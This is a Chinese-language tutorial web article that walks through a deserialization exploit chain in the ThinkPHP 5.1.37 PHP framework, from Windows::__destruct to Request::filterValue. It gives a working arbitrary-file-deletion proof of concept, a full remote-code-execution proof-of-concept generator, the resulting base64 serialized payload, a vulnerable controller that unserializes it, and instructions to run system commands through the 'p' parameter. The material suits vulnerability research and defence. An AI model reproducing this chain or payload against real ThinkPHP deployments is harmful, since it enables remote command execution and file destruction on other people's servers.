溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何理解thinkphp5.1.37反序列化

發(fā)布時(shí)間:2021-10-18 15:57:10 來源:億速云 閱讀:166 作者:柒染 欄目:安全技術(shù)

如何理解thinkphp5.1.37反序列化,很多新手對此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

紙上得來終覺淺,絕知此事要躬行。網(wǎng)上已經(jīng)有很多分析的文章了,但是我還是決定按自己的理解寫一下分析利用過程,化繁為簡、深入淺出讓它看起來更容易懂一些,降低理解的難度。

下載地址:

應(yīng)用項(xiàng)目:https://github.com/top-think/think

核心框架:https://github.com/top-think/framework

把framework修改為thinkphp放入到thinkphp5.1.37文件夾中這樣整個(gè)框架就搭建好了

反序列化鏈涉及到的文件:

起點(diǎn)文件->  thinkphp\library\think\process\pipes\Windows.php

thinkphp\library\think\model\concern\Conversion.php

thinkphp\library\think\model\concern\ Attribute.php

thinkphp\library\think\model\concern\ RelationShip.php

thinkphp\library\think\Model.php

thinkphp\library\think\Pivot.php

終點(diǎn)文件->  thinkphp\library\think\Request.php

是不是覺得文件很多,頭很大,那我們來簡化一下

起點(diǎn)文件->  thinkphp\library\think\process\pipes\Windows.php

thinkphp\library\think\Pivot.php

終點(diǎn)文件->  thinkphp\library\think\Request.php

為什么這樣寫呢因?yàn)?Conversion、Attribute 和RelationShip是trait類,其代碼可以復(fù)用,而model類復(fù)用了這三個(gè)文件的代碼所以我們就可以把這四個(gè)文件看做一個(gè)文件,然而model類文件是abstract(抽象)類不能直接使用,pivot類繼承了model類,所以pivot文件相當(dāng)于這四個(gè)文件的一個(gè)集.合體。所以我們只用關(guān)注Windows.php、Pivot.php、Request.php這三個(gè)文件。

涉及到的方法:

Windows.php     下的 __destruct()方法、removeFiles()

Conversion.php    下的__toString()方法、toJson()方法、toArray()方法

RelationShip.php  下的getRelation()方法

Attribute.php        下的getAttr()方法、getData()方法

Request.php     下的__call()方法、isAjax()方法、param()方法、input()方法、filterValue()方法

這其中Conversion.php、RelationShip.php、Attribute.php   下的方法可以理解為Pivot.php的方法

我們把這個(gè)利用鏈路劃分為三個(gè)小目標(biāo):

1、利用Windows類激活__toString()魔術(shù)方法。

2、利用Pivot.類激活__call()魔術(shù)方法

3、利用Request類實(shí)現(xiàn)代碼執(zhí)行

利用鏈如下:
__destruct() —>removeFiles() —>_toString() —>toJson() —>toArray() —>getRelation() —>getAttr() —>getData() —>__call() —>isAjax() —>param() —>input() —>filterValue()

代碼分析:

Windows對象在進(jìn)行反序列化操作時(shí)會執(zhí)行析構(gòu)方法__destruct(),然后調(diào)用了removeFiles方法在removeFiles方法中會判斷$this->files是不是存在存在即刪除,因此這里存在任意文件刪除,我們只要在生成windowsdu對象時(shí)進(jìn)行$this->file賦值為一個(gè)文件的路徑,那么反序列化時(shí)就會刪除這個(gè)文件。

public function __destruct()

{

$this->close();

$this->removeFiles();

}

private function removeFiles()

{

foreach ($this->files as $filename) {

if (file_exists($filename)) {

@unlink($filename);

}

}

$this->files = [];

}

poc任意文件刪除:

<?php

namespace think\process\pipes;

class Windows{

private $files = [];

public function __construct(){

$this->files=['d:/1.txt'];

}

}

echo base64_encode(serialize(new Windows()));

在file_exists()函數(shù)中如果傳入的參數(shù)是一個(gè)對象的話,那么就會把這個(gè)對象當(dāng)做字符串,這樣就會觸發(fā)對象的__toString()魔術(shù)方法,而恰好在Conversion類中實(shí)現(xiàn)了這個(gè)方法(成功實(shí)現(xiàn)第一個(gè)小目標(biāo)),在Conversion類的__toString中又調(diào)用了toJson方法、toJson中又調(diào)用了toArray方法、

public function __toString()

{

return $this->toJson();

}

public function toJson($options = JSON_UNESCAPED_UNICODE)

{

return json_encode($this->toArray(), $options);

}

// 追加屬性(必須定義獲取器)

if (!empty($this->append)) {

foreach ($this->append as $key => $name) {

if (is_array($name)) {

// 追加關(guān)聯(lián)對象屬性

$relation = $this->getRelation($key);

if (!$relation) {

$relation = $this->getAttr($key);

$relation->visible($name);

}

在toArray中我們要控制$this->append的值不能為空數(shù)組,而且數(shù)組中的$name必須是一個(gè)數(shù)組,那么就會執(zhí)行g(shù)etRelation方法。所以這里呢我們在進(jìn)行序列化時(shí)賦值$this->append=[‘a(chǎn)a’=>[]]那么$key=’aa’跟進(jìn)getRelation方法。

public function getRelation($name = null)

{//此處的$name='aa'

if (is_null($name)) {

return $this->relation;

} elseif (array_key_exists($name, $this->relation)) {

return $this->relation[$name];

}

return;

}

在getRelation方法我們只要控制返回一個(gè)空值就好了;這就要求$name的值不能為null而且$name不是$this->relation這個(gè)數(shù)組中的一個(gè)鍵、$this->relation的值我們是可以控制的。當(dāng)$relation值為假的時(shí)候那么就會執(zhí)行g(shù)etAttr方法,我們跟進(jìn)getAttr方法。

public function getAttr($name, &$item = null)

{

try {

$notFound = false;

//此時(shí)方法中的$name=’aa’

$value    = $this->getData($name);

} catch (InvalidArgumentException $e) {

$notFound = true;

$value    = null;

}

調(diào)用了getDate方法此時(shí)的參數(shù)$name=’aa’、繼續(xù)跟進(jìn)

public function getData($name = null)

{

if (is_null($name)) {

return $this->data;

} elseif (array_key_exists($name, $this->data)) {

return $this->data[$name];

} elseif (array_key_exists($name, $this->relation)) {

return $this->relation[$name];

}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);

}

getDate的返回值為$this->data[$name]; 值$this->data的值是可控的我們可以在序列化時(shí)賦值$this->data=[‘a(chǎn)a’=>new Request()];沒錯返回值是一個(gè)request對象,為什么要返回request對象呢?是因?yàn)閞equest對象中實(shí)現(xiàn)了一個(gè)__call()魔術(shù)方法。

if (!$relation) {

$relation = $this->getAttr($key);

$relation->visible($name);

}

在這里$relation為一個(gè)request對象,request對象調(diào)用visible方法時(shí),因?yàn)閞equest對象沒有visible方法就會激活__call魔術(shù)方法(成功實(shí)現(xiàn)第二個(gè)小目標(biāo)),下面跟進(jìn)request類的__call方法。

public function __call($method, $args)

{

if (array_key_exists($method, $this->hook)) {

array_unshift($args, $this);

return call_user_func_array($this->hook[$method], $args);

}

throw new Exception('method not exists:' . static::class . '->' . $method);

}

這里的call_user_func_array回調(diào)函數(shù)會調(diào)用$this->hook[$method] 中的方法來處理args

這里的$method= ’visible’在進(jìn)行序列化時(shí)我們對$this->hook進(jìn)行賦值$this->hook=[‘visible’=>[$this,isAjax]] 意思就是調(diào)用request類的isAjax方法來處理$args.跟進(jìn)isAJax方法:

public function isAjax($ajax = false)

{

$value  = $this->server('HTTP_X_REQUESTED_WITH');

$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {

return $result;

}

$result           = $this->param($this->config['var_ajax']) ? true : $result;

$this->mergeParam = false;

return $result;

}

這其中調(diào)用了param方法參數(shù)為$this->config['var_ajax']) 在進(jìn)行序列化時(shí)我們對$this->config進(jìn)行賦值$this->config=[‘var_ajax =>’p’]

public function param($name = '', $default = null, $filter = '')

{

……

//這里可以理解為$this->param=$_GET獲取get傳參。

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

//此處$name=$this->config[‘var_ajax ]=‘p’

return $this->input($this->param, $name, $default, $filter);

}

我們跟進(jìn)$this->get方法看一下

public function get($name = '', $default = null, $filter = '')

{

if (empty($this->get)) {

$this->get = $_GET;

}

return $this->input($this->get, $name, $default, $filter);

}

其實(shí)就是把url中g(shù)et傳的值添加到$this->param數(shù)組里面。

隨后調(diào)用了input方法,傳參$data=$this->param,$name=’p’

public function input($data = [], $name = '', $default = null, $filter = '')

{

……

$data = $this->getData($data, $name);

// 解析過濾器

$filter = $this->getFilter($filter, $default);

if (is_array($data)) {

array_walk_recursive($data, [$this, 'filterValue'], $filter);

}

}

Input方法中調(diào)用了  $data = $this->getData($data, $name);我們查看一下getData方法

protected function getData(array $data, $name)

{

foreach (explode('.', $name) as $val) {

if (isset($data[$val])) {

$data = $data[$val];

} else {

return;

}

}

return $data;

}

就是從參數(shù)$data中取得數(shù)組健為$name的值,所以$data=$data[$name]= $data[‘p’]

Input方法中調(diào)用$filter = $this->getFilter($filter, $default)跟進(jìn)分析

protected function getFilter($filter, $default)

{

if (is_null($filter)) {

$filter = [];

} else {

$filter = $filter ?: $this->filter;

if (is_string($filter) && false === strpos($filter, '/')) {

$filter = explode(',', $filter);

} else {

$filter = (array) $filter;

}

}

$filter[] = $default;

return $filter;

}

所以$filter=$this->filter并轉(zhuǎn)為數(shù)組,我們在進(jìn)行序列化的時(shí)候可以對其進(jìn)行賦值.$filter=’system’所以這里返回的就是[‘system’]并作為filter參數(shù)傳給filtervalue方法

后面的array_walk_recursive($data, [$this, 'filterValue'], $filter)意思就是調(diào)用filtervalue方法對$data進(jìn)行處理$filter是參數(shù),跟進(jìn)filterfalue方法查看一下

private function filterValue(&$value, $key, $filters)

{

$default = array_pop($filters);

foreach ($filters as $filter) {

if (is_callable($filter)) {

// 調(diào)用函數(shù)或者方法過濾

$value = call_user_func($filter, $value);

call_user_func方法就是命令執(zhí)行的終點(diǎn),這里的$value=$this->param[‘p’],$filter=[system]也就是說用system函數(shù)來執(zhí)行$value,$value的值可以視為訪問鏈接的時(shí)候提交的一個(gè)參數(shù)

/?p=whoami 最后執(zhí)行的就是 system(‘whoami’)(實(shí)現(xiàn)第三個(gè)小目標(biāo)),至此整改利用鏈構(gòu)造完成。

代碼執(zhí)行POC如下:

<?php

namespace think;

class Model{

//私有屬性不能在子類中修改

private $data=[];

public function __construct(){

$this->data=['aa'=>new Request];

}

}

namespace think;

class Request

{

protected $config = ['var_ajax' => 'p'];

protected $filter='system';

//必須初始化param變量為數(shù)組

protected $param = [];

protected $hook;

public function __construct(){

$this->hook=['visible'=>[$this,'isAjax']];

}

}

namespace think\model;

use think\Model;

class Pivot extends Model{

protected $append = ['aa'=>[]];

}

namespace think\process\pipes;

use think\model\Pivot;

class Windows

{

private $files = [];

function __construct(){

$this->files=[new Pivot()];

}

}

echo base64_encode(serialize(new windows));

利用過程如下:

1、把poc放到web服務(wù)器并進(jìn)行訪問生成payload

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJhYSI7YTowOnt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MjoiYWEiO086MTM6InRoaW5rXFJlcXVlc3QiOjQ6e3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MToicCI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YTowOnt9czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo3O2k6MTtzOjY6ImlzQWpheCI7fX19fX19fQ==

2、把payload放到tp框架里并進(jìn)行反序列化操作

Thinkphp5.1.37/public/index.php文件
<?php

namespace app\index\controller;

class Index

{

public function index()

{

unserialize(base64_decode("TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJhYSI7YTowOnt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MjoiYWEiO086MTM6InRoaW5rXFJlcXVlc3QiOjQ6e3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MToicCI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YTowOnt9czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo3O2k6MTtzOjY6ImlzQWpheCI7fX19fX19fQ=="));

}

public function hello($name = 'ThinkPHP5')

{

return 'hello,' . $name;

}

}

3、訪問框架并提交參數(shù)p的值為你想執(zhí)行的命令

如何理解thinkphp5.1.37反序列化

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI